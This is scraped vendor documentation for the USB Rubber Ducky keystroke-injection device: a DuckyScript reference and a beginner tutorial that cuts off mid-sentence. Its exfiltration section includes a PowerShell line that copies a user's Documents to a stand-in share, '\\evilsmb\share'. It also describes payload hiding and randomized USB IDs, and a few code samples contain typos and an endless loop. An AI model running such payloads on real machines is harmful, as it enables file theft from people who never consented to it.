----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Operators instruct the payload to perform a given mathematical, relational or logical operation. ### [Math](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators/#math-operators) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#math) | Operator | Meaning | | --- | --- | | \= | Assignment | | + | Add | | \- | Subtract | | \* | Multiply | | / | Divide | | % | Modulus | | ^ | Exponent | VAR $FOO = 1337 $FOO = ( $FOO - 1295 ) REM $FOO was assigned 1337, subtracted 1295, and ended up equalling 42. ### [Comparison](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators/#comparison-operators) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#comparison) Will compare two values to evaluate a single boolean value. | Operator | Meaning | | --- | --- | | \== | Equal to | | != | Not equal to | | \> | Greater than | | < | Less than | | \>= | Greater than or equal to | | <= | Less than or equal to | VAR $FOO = 42 VAR $BAR = 1337 IF ( $FOO < $BAR ) THEN STRING 42 is less than 1337 END_IF ### [Order of Operations](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators/#order-of-operations) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#order-of-operations) Parentheses `( )` are required to define the precedence conventions. VAR $FOO = 42 VAR $BAR = (( 100 * 13 ) + ( $FOO - 5 )) ### [Logical Operators](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators/#logical-operators) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#logical-operators) Logical operators may be used to connect two or more expressions. | Operator | Description | | --- | --- | | && | Logical AND. If both the operands are non-zero, the condition is `TRUE`. | | \| | Logical OR. If any of the two operands is non-zero, the condition is `TRUE`. | VAR $FOO = 42 VAR $BAR = 1337 IF ( $FOO < $BAR ) || ( $BAR == $FOO ) THEN STRING Either 42 is less than 1337 or 42 is equal to 1337 END_IF ### [Augmented Assignment](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators/#augmented-assignment-operators) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#augmented-assignment) When assigning a value to a variable, the variable itself may be referenced. VAR $FOO = 1336 VAR $FOO = ( $FOO + 1 ) ### [Bitwise Operators](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators/#bitwise-operators) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#bitwise-operators) Operate on the uint16 values at the binary level. | Operator | Description | | --- | --- | | & | Bitwise AND. If the corresponding bits of the two operands is 1, will result in 1. Otherwise if either bit of an operand is 0, the result of the corresponding bit is evaluated as 0. | | \| | Bitwise OR. If at least one corresponding bit of the two operands is 1, will result in 1. | | \>> | Right Shift. Accepts two numbers. Right shifts the bits of the first operand. The second operand determines the number of places to shift. | | << | Left Shift. Accepts two numbers. Left shifts the bits of the first operand. The second operand decides the number of places to shift. | ATTACKMODE HID STORAGE VID_05AC PID_021E VAR $FOO = $_CURRENT_VID REM Because VID and PID parameters are little endian, $FOO = ((($FOO >> 8) & 0x00FF) | (($FOO << 8) & 0xFF00)) REM $FOO will now equal 0xAC05 [Conditional Statements](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#conditional-statements) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Conditional statements, loops and functions allow for dynamic execution. ### [`IF`](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements/#if) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#if) The flow control statement `IF` will determine whether or not to execute its block of code based on the evaluation of an expression. One way to interpret an `IF` statement is to read it as “`IF` this condition is true, `THEN` do this”. $FOO = 42 $BAR = 1337 IF ( $FOO < $BAR ) THEN STRING 42 is less than 1337 END_IF ### [`ELSE`](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements/#else) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#else) The `ELSE` statement is an optional component of the `IF` statement which will only execute when the `IF` statement condition is `FALSE`. IF ( $_CAPSLOCK_ON == TRUE ) THEN STRING Capslock is on! ELSE IF ( $_CAPSLOCK_ON == FALSE ) THEN STRING Capslock is off! END_IF [Loops](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/loops/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#loops) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Loops are flow control statements that can be used to repeat instructions until a specific condition is reached. ### [`WHILE`](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/loops/#while) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#while) The block of code within the `WHILE` statement will continue to repeatedly execute for a number of times (called iterations) for as long as the condition of the `WHILE` statement is `TRUE`. VAR $FOO = 42 WHILE ( $FOO > 0 ) STRINGLN This message will repeat 42 times. $FOO = ( $FOO - 1 ) END_WHILE WHILE TRUE SRINGLN This is an infinite loop. This message repeats forever. END_WHILE [Functions](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#functions) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Functions are blocks of organized single-task code that let you more efficiently run the same code multiple times without the need to copy and paste large blocks of code over and over again. ### [`FUNCTION`](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions/#function) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#function) REM Types "Hello.....World!" FUNCTION COUNTDOWN() WHILE ($TIMER > 0) STRING . $TIMER = ($TIMER - 1) DELAY 500 END_WHILE END_FUNCTION STRING Hello VAR $TIMER = 5 COUNTDOWN() STRING World! ### [`RETURN`](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions/#return-values) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#return) A function may return a integer or boolean value which may also be evaluated. FUNCITON TEST_CAPS_AND_NUM() IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == TRUE)) THEN RETURN TRUE ELSE RETURN FALSE END_IF END_FUNCTION IF (TEST_CAPS_AND_NUM() == TRUE) THEN STRINGLN Caps lock and num lock are on. END_IF [Randomization](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/randomization/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#randomization) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ The pseudorandom number generator provides randomization for keystroke injection, variables and attackmode parameters. The first time a randomization feature is used, a `seed.bin` will be generated on the root of the MicroSD card. One may also be generated from the [Hak5 IDE](https://encoder.hak5.org/) . ### [Random Keystroke Injection](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/randomization/#random-keystroke-injection) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#random-keystroke-injection) | Command | Character Set | | --- | --- | | `RANDOM_LOWERCASE_LETTER` | abcdefghijklmnopqrstuvwxyz | | `RANDOM_UPPERCASE_LETTER` | ABCDEFGHIJKLMNOPQRSTUVWXYZ | | `RANDOM_LETTER` | abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ | | `RANDOM_NUMBER` | 0123456789 | | `RANDOM_SPECIAL` | !@#$%^&\*() | | `RANDOM_CHAR` | abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
!@#$%^&\*() | REM 42 random characters VAR $COUNT = 42 WHILE ($COUNT > 0) RANDOM_CHAR $COUNT = ($COUNT + 1) END_WHILE ### [Random Integers](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/randomization/#random-integers) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#random-integers) The internal variable `$_RANDOM_INT` assigns a random integer between the specified `$_RANDOM_MIN` and `$_RANDOM_MAX` values. May be 0-65535. The default values are `0-9`. $_RANDOM_MIN = 42 $_RANDOM_MAX = 1337 VAR $FOO = $_RANDOM_INT REM The variable $FOO will be between 42 and 1337 ### [Random and ATTACKMODE](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/randomization/#random-and-attackmode) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#random-and-attackmode) The `ATTACKMODE` command may accept random values for the optional parameters. | ATTACKMODE Parameter | Result | | --- | --- | | `VID_RANDOM` | Random Vendor ID | | `PID_RANDOM` | Random Product ID | | `MAN_RANDOM` | Random 12 alphanumeric character iManufacturer | | `PROD_RANDOM` | Random 12 alphanumeric character iProduct | | `SERIAL_RANDOM` | Random 12 digit serial number | ATTACKMODE HID VID_RANDOM PID_RANDOM MAN_RANDOM PROD_RANDOM SERIAL_RANDOM report Use caution when using random `VID` and `PID` values as unexpected results are likely. [Holding Keys](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/holding-keys/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#holding-keys) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A key may be held, rather than pressed, by specifying a `HOLD` and `RELEASE` command with a `DELAY` in between the two. Both `HOLD` and `RELEASE` must specify a key. [Multiple simultaneous keys](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/holding-keys/#holding-multiple-keys) may be held. HOLD a DELAY 2000 RELEASE a REM May produce any mumber of "aaaaa" keys, depending on the repeat rate of REM the target OS. On macOS may open the accent menu. INJECT_MOD HOLD WINDOWS DELAY 4000 RELEASE WINDOWS REM Will hold the Windows key for 4 seconds. Note the use of INJECT_MOD REM when using a modifier key without a key combination. [Payload Control](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/payload-control/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#payload-control) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ These simple commands exist to control the execution of a payload. ### [`RESTART_PAYLOAD`](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/payload-control/#restart_payload) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#restart_payload) The `RESTART_PAYLOAD` command ceases execution, restarting the payload from the beginning. ### [STOP\_PAYLOAD](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/payload-control/#stop_payload) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#stop_payload) The `STOP_PAYLOAD` command ceases and further execution. ### [RESET](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/payload-control/#reset) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#reset) The `RESET` command clears the keystroke buffer, useful for debugging complex hold key states. [Jitter](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/jitter/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#jitter) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Jitter randomly varies the delay between individual key presses based on the `seed.bin` value. | Internal Variable | Description | | --- | --- | | `$_JITTER_ENABLED` | Set `TRUE` to enable and `FALSE` to disable jitter. | | `$_JITTER_MAX` | Integer (0-65535) of maximum time in milliseconds between keystrokes. Default 20. | $_JITTER_MAX = 60 $_JITTER_ENABLED = TRUE STRINGLN The quick brown fox jumps over the lazy dog [Payload Hiding](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/payload-hiding/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#payload-hiding) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The `inject.bin` and `seed.bin` file may be hidden from the MicroSD card before implementing `ATTACKMODE STORAGE`. The `HIDE_PAYLOAD` and `RESTORE_PAYLOAD` commands must be run while using `ATTACKMODE OFF` or `ATTACKMODE HID`. ### [`HIDE_PAYLOAD`](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/payload-hiding/#hide_payload-and-restore_payload) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#hide_payload) Hides the inject.bin and seed.bin files from the MicroSD card. ### [`RESTORE_PAYLOAD`](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/payload-hiding/#hide_payload-and-restore_payload) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#restore_payload) Restores the inject.bin and seed.bin files to the MicroSD card. ATTACKMODE OFF HIDE_PAYLOAD ATTACKMODE HID STORAGE DELAY 2000 STRINGLN The payload files are hidden. ATTACKMODE HID RESTORE_PAYLOAD DELAY 2000 STRINGLN Restoring the payload files... ATTACKMODE HID STORAGE DELAY 2000 STRINGLN The payload files have been restored. [Lock Keys](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/lock-keys/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#lock-keys-1) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- USB HID devices contain both IN endpoints for data (keystrokes) from the keyboard to computer, and OUT endpoints for data (LED states) from the computer to the keyboard. In many cases the LED state control codes sent from the computer to the attached keyboard are sent to all attached “keyboards”. Versions of macOS behave differently. ### [`WAIT_FOR` Commands](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/lock-keys/#wait_for-commands) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#wait_for) | Command | Description | | --- | --- | | `WAIT_FOR_CAPS_ON` | Pause until caps lock is turned on | | `WAIT_FOR_CAPS_OFF` | Pause until caps lock is turned off | | `WAIT_FOR_CAPS_CHANGE` | Pause until caps lock is toggled on or off | | `WAIT_FOR_NUM_ON` | Pause until num lock is turned on | | `WAIT_FOR_NUM_OFF` | Pause until num lock is turned off | | `WAIT_FOR_NUM_CHANGE` | Pause until num lock is toggled on or off | | `WAIT_FOR_SCROLL_ON` | Pause until scroll lock is turned on | | `WAIT_FOR_SCROLL_OFF` | Pause until scroll lock is turned off | | `WAIT_FOR_SCROLL_CHANGE` | Pause until scroll lock is toggled on or off | STRINGLN Hello, STRINGLN [Press caps lock to continue...] WAIT_FOR_CAPS_CHANGE STRINGLN World! ### [`SAVE` and `RESTORE` Commands](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/lock-keys/#save-and-restore-commands) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#save) The currently reported lock key states may be saved and later recalled using the `SAVE_HOST_KEYBOARD_LOCK_STATE` and `RESTORE_HOST_KEYBOARD_LOCK_STATE` commands. REM Save the LED states of the primary keyboard SAVE_HOST_KEYBOARD_LOCK_STATE REM Change the lock states CAPSLOCK NUMLOCK REM Restore the original lock states RESTORE_HOST_KEYBOARD_LOCK_STATE [Exfiltration](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#exfiltration) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Exfiltration is the unauthorized transfer of information from a system. Typically performed over a [physical medium](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration/#physical-medium-exfiltration) (copying to a USB flash disk such as the USB Rubber Ducky while using `ATTACKMODE STORAGE`) or a [network medium](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration/#network-medium-exfiltration) such as email, ftp, smb, http, etc. ### Physical Exfiltration Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#physical-exfiltration-example) ATTACKMODE HID STORAGE DELAY 2000 GUI r DELAY 100 STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter; STRINGLN echo $env:computername >> $m:\computer_names.txt" ### Network Exfiltration Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#network-exfiltration-example) ATTACKMODE HID DELAY 2000 GUI r DELAY 100 STRINGLN powershell "cp -r $env:USERPROFILE\Documents\* \\evilsmb\share" ### [Keystroke Reflection](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration/#the-keystroke-reflection-attack) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#keystroke-reflection) By taking advantage of the [HID OUT endpoint](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/lock-keys/#end-points-and-control-codes) as described in the [lock keys](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/lock-keys/) section, binary data may be exfiltrated “out of band” using the Keystroke Reflection side-channel attack. This is done by using the `$_EXFIL_MODE_ENABLED` internal variable. The reflected lock keystrokes are saved to [`loot.bin`](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration/#working-with-loot) on the root of the MicroSD card. For a detailed example, see the section on [Keystroke Reflection](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration/#the-keystroke-reflection-attack) . ### [Variable Exfiltration](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration/#variable-exfiltration) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#variable-exfiltration) Similarly, arbitrary variable data may be saved to the `loot.bin` file using the `EXFIL` command. VAR $FOO = 1337 EXFIL $FOO Internal Variables [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#internal-variables) ------------------------------------------------------------------------------------------------------------------------- | Internal Variable | Description | | --- | --- | | **BUTTON** | | | `$_BUTTON_ENABLED` | Returns `TRUE` if the button is enabled or `FALSE` if the button is disabled. | | `$_BUTTON_USER_DEFINED` | Returns `TRUE` if a `BUTTON_DEF` has been implemented in the payload or `FALSE` if it hasn't been implemented. | | `$_BUTTON_PUSH_RECEIVED` | Returns `TRUE` if the button has ever been pressed. May be retrieved or set. | | `$_BUTTON_TIMEOUT` | The button debounce, or cooldown time before counting the next button press, in milliseconds. The default value is `1000`. | | **LED** | | | `$_SYSTEM_LEDS_ENABLED` | Default set `TRUE`. May be retrieved or set. Boot and `ATTACKMODE` change LED. | | `$_STORAGE_LEDS_ENABLED` | Default set `TRUE`. May be retrieved or set.

Blinks the LED red/green on storage read/write in `ATTACKMODE STORAGE`. | | `$_LED_CONTINUOUS_SHOW_STORAGE_ACTIVITY` | Default set `TRUE`. May be retrieved or set.

The LED will light solid green when the storage has been inactive for longer than $`_STORAGE_ACTIVITY_TIMEOUT` (default 1000 ms). Otherwise, the LED will light red when active. | | `$_INJECTING_LEDS_ENABLED` | Default set `TRUE`. May be retrieved or set. When `TRUE` the LED will blink green on payload execution. | | `$_EXFIL_LEDS_ENABLED` | Default set `TRUE`. May be retrieved or set. When `TRUE` the LED will blink green during Keystroke Reflection. | | `$_LED_SHOW_CAPS` | Default set `FALSE`. May be retrieved or set. When `TRUE` will bind the GREEN LED state to the `CAPSLOCK` state. | | `$_LED_SHOW_NUM` | Default set `FALSE`. May be retrieved or set. When `TRUE` will bind the RED LED state to the `NUMLOCK` state. | | `$_LED_SHOW_SCROLL` | Default set `FALSE`. May be retrieved or set. When `TRUE` will bind the GREEN LED state to the `SCROLLLOCK` state. | | **ATTACKMODE** | | | `$_CURRENT_VID` | Returns the currently operating Vendor ID with endian swapped. May only be retrieved. Cannot be set. | | `$_CURRENT_PID` | Returns the currently operating Product ID with endian swapped. May only be retrieved. Cannot be set. | | `$_CURRENT_ATTACKMODE` | Returns the currently operating ATTACKMODE represented as `0` for `OFF`, `1` for `HID`, `2` for STORAGE and `3` for both `HID` and `STORAGE` | | **RANDOM** | | | `$_RANDOM_INT` | Random integer within set range. | | `$_RANDOM_MIN` | Random integer minimum range (unsigned, 0-65535) | | `$_RANDOM_MAX` | Random integer maximum range (unsigned, 0-65535) | | `$_RANDOM_SEED` | Random seed from `seed.bin` | | `$_RANDOM_LOWER_LETTER_KEYCODE` | Returns random lower letter scancode (a-z) | | `$_RANDOM_UPPER_LETTER_KEYCODE` | Returns random upper letter scancode (A-Z) | | `$_RANDOM_LETTER_KEYCODE` | Returns random letter scancode (a-zA-Z) | | `$_RANDOM_NUMBER_KEYCODE` | Returns random number scancode (0-9) | | `$_RANDOM_SPECIAL_KEYCODE` | Returns random special char scancode (shift+0-9) | | `$_RANDOM_CHAR_KEYCODE` | Returns random letter number or special scancode | | **JITTER** | | | `$_JITTER_ENABLED` | Set `TRUE` to enable jitter. Default `FALSE`. | | `$_JITTER_MAX` | Sets the maximum time between key presses in milliseconds. The default maximum is 20 ms. | | **LOCK KEYS** | | | `$_CAPSLOCK_ON` | `TRUE` if on, `FALSE` if off. | | `$_NUMLOCK_ON` | `TRUE` if on, `FALSE` if off. | | `$_SCROLLLOCK_ON` | `TRUE` if on, `FALSE` if off. | | `$_SAVED_CAPSLOCK_ON` | On USB attach or `SAVE_HOST_KEYBOARD_LOCK_STATE`, sets `TRUE` or `FALSE` depending on the reported OS condition. | | `$_SAVED_NUMLOCK_ON` | On USB attach or `SAVE_HOST_KEYBOARD_LOCK_STATE`, sets `TRUE` or `FALSE` depending on the reported OS condition. | | `$_SAVED_SCROLLLOCK_ON` | On USB attach or `SAVE_HOST_KEYBOARD_LOCK_STATE`, sets `TRUE` or `FALSE` depending on the reported OS condition. | | `$_RECEIVED_HOST_LOCK_LED_REPLY` | On receipt of any lock state LED control code, sets `TRUE`. This flag is helpful for fingerprinting certain operating systems (e.g. macOS) or systems which do not reflect lock keys. | | **STORAGE** | | | `$_STORAGE_ACTIVITY_TIMEOUT` | As payload is running, this value decrements if storage activity is not detected. Default value is 1000. | | **EXFILTRATION** | | | `$_EXFIL_MODE_ENABLED` | Default `FALSE`. Set `TRUE` to enable Keystroke Reflection. Will listen for `CAPSLOCK` and `NUMLOCK` changes, writing binary values to loot.bin. num=1, caps=0. | | **OS\_DETECT** | | | `$_HOST_CONFIGURATION_REQUEST_COUNT` | Used by `OS_DETECT` `EXTENSION` to detect device enumeration count. | | `$_OS` | Used by `OS_DETECT` `EXTENSION` to return value of fingerprinted operating system. May return `WINDOWS`, `MACOS`, `LINUX`, `CHROMEOS`, `ANDROID`, `IOS`. These names are reserved and should not be used in user variables. | * * * [_navigate\_before_ USB Rubber Ducky by Hak5](https://docs.hak5.org/hak5-usb-rubber-ducky/usb-rubber-ducky-by-hak5/) [Unboxing "Quack-Start" Guide _navigate\_next_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/) --- # DUCKY SCRIPT BASICS | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Table of Contents _article_ DUCKY SCRIPT BASICS =================== * * * --- # Hello, World! | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Table of Contents _article_ Hello, World! ============= No introduction to a programming language would be complete without a “Hello, World!” example. Call it cliché, but this ubiquitous example makes for a welcoming DuckyScript initiation. While the new DuckyScript 3.0 introduces a ton of new features, it does so by building on the simplicity of the original DuckyScript language — a language which has become synonymous with the keystroke injection attack technique it invented. So with this one “Hello, World!” example we’ll not only learn the absolute basics of the original DuckyScript language, but also the process for testing out a payload. Key Terms [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#key-terms) ----------------------------------------------------------------------------------------------------------- * **Keystroke Injection** — a type of hotplug attack which mimics keystrokes entered by a human. * **Hotplug Attack** — an attack or automated task that takes advantage of plug-and-play. * **Plug and Play** — a peripheral standard whereby connected devices work automatically. * **HID** — a Human Interface Device; the protocol a keyboard uses to speak to a computer * **Mass Storage** — what we think of as a thumb drive or SD Card * **USB Rubber Ducky** — the USB device that delivers hotplug attacks. * **Payload** — the specific hotplug attack instructions processed by the USB Rubber Ducky. * **DuckyScript** — both the programming language of, and source code for USB Rubber Ducky payloads. May refer to a specific payload in human-readable DuckyScript source code. * **inject.bin** — the binary equivalent of the DuckyScript source code generated by the compiler and encoder consisting of byte code to be interpreted by the USB Rubber Ducky. * **Payload Studio** — Integrated Development Environment consisting of a source code editor, compiler, encoder and debugger for programming DuckyScript. * **Editor** — the text processing element of the Payload Studio featuring syntax highlighting, autocomplete, indentation and snippets specific to the DuckyScript programming language. * **Compiler** — the element of the Payload Studio which converts the DuckyScript source code (payload.txt) into the byte code (inject.bin) interpreted by the USB Rubber Ducky. The Compiler also tests the DuckyScript source to be syntactically correct. May provide warning or error messages if a programming bug is found. * **Debugger** — the element of the Payload Studio which may be used to help you test or troubleshoot your payload. * **Language File** — also referred to as the Language JSON, this is the lookup table the Compiler uses to encode your keystrokes for a given keyboard language * **Loot** — the logs, data and other information obtained during the deployment of a payload, often consisting of details about the target (recon) or information from the target (exfiltration). * **Arming** — the act of transferring a payload to the hotplug attack device. * **Arming Mode** — a mode whereby the USB Rubber Ducky facilitates convenient payload and loot transfer by acting as USB mass storage. * **Target** — the computing device (or “Host”) on which the payload will be deployed. * **Deployment** — the execution of the payload on the target. Learn Original DuckyScript In Just 4 Lines [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#learn-original-duckyscript-in-just-4-lines) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Learn the basics of the original DuckyScript language from this one example alone. REM My first payload DELAY 3000 STRING Hello, World! ENTER As you might imagine, this payload types “Hello, World!”. Testing Your Payload [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#testing-your-payload) --------------------------------------------------------------------------------------------------------------------------------- With the new terms in mind, let’s try out the Hello World example by following these steps: 1. Plug the _USB Rubber Ducky_ into your computer. If it doesn’t show up as a flash drive automatically, press the button to enter _arming mode_. 2. Copy the _DuckyScript_ source code of the Hello World example _payload_. 3. Paste it into a blank new project from the _editor_ in _Payload Studio_. 4. Click **Generate Payload** to _compile_ the _payload_. 5. Click **Download Payload** to save the _`inject.bin`_ file. 6. Copy the _`inject.bin`_ file to the root of the USB Rubber Ducky drive. **Ensure the name is exactly** `inject.bin`. 7. Unplug the newly _armed_ _USB Rubber Ducky_ from your computer. 8. Open a text editor on the _target._ This may be the same computer used for _arming_. 9. Ensure that the text area is the active window, which is usually indicated by a blinking cursor. 10. Deploy the payload against the target by plugging it into an available USB port. 11. Watch as the _keystroke injection_ _payload_ is executed by the _hotplug attack_ device. Voilà — “`Hello, World!`” These are the steps that will be repeated numerous times as you continue to learn and experiment with the DuckyScript language. warning The Payload **MUST** be named `inject.bin` **exactly.** _No other name will function;_ `inject (2).bin` _will not work._ report On Windows: if explorer is **NOT** set to _Show File Extensions_ When downloading your `inject.bin` do **NOT** append `.bin` to the filename _or your file will be incorrectly named`inject.bin.bin`_ A Quick Breakdown [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#a-quick-breakdown) --------------------------------------------------------------------------------------------------------------------------- So, let’s break down each line of this payload to understand the language and what it does. Each line of an original DuckyScript file, or “payload” as they are known, is processed one at a time. A line may include a comment, a delay, or a key or set of keys to press. That’s it. 1. `REM` is short for Remark and adds a comment to the payload, like a title or the author’s name. 2. `DELAY` pauses the payload for a given amount of time, expressed in milliseconds. 3. `STRING` injects keystrokes, or “types”, the given characters (a-z, 0-9, punctuation & specials). 4. `ENTER` is a special key which may be pressed, like `TAB`, `ESCAPE`, `UPARROW` or even `ALT F4`. A full list of special keys is available in the keystroke injection section — but they’re named as one might expect. Think: `BACKSPACE`, `HOME`, `INSERT`, `PAGEUP`, `F11` and the like… That’s it! For DuckyScript 1.0 at least… [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#thats-it-for-duckyscript-10-at-least) --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Yep. That’s it. That’s the entirety of the **original** DuckyScript 1.0 language; comments, delays and keys. Want to take it just a tiny bit further? Check out these examples for Windows and macOS. ### Windows Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#windows-example) REM A slightly more advanced "Hello, World!" for Windows DELAY 3000 REM Open the Run dialog WINDOWS r DELAY 1000 REM Open powershell with our message STRING powershell "echo 'Hello, World!'; pause" ENTER #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#result) * This original Ducky Script payload will open a powershell window showing “`Hello, World!`”. * It starts by opening the Windows Run dialog using the keyboard shortcut _Windows Key+r_. * Next it will type a line of powershell which will display “`Hello, World!`”, then pause. * Finally, it will press `ENTER` to execute the powershell. ### macOS Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#macos-example) REM A slightly more advanced "Hello, World" for macOS DELAY 3000 REM Open Spotlight Search COMMAND SPACE REM Open the text editor STRING TextEdit ENTER DELAY 2000 COMMAND n DELAY 2000 STRING echo Hello, World! #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#result-1) * This original DuckyScript payload will open a TextEdit window showing “`Hello, World!`”. * It starts by opening the Spotlight Search using the keyboard shortcut _Command+Space_. * Next it will type 